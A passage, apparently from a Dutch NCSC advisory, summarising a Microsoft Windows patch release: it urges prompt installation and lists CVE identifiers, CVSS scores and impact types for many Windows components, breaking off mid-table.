Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     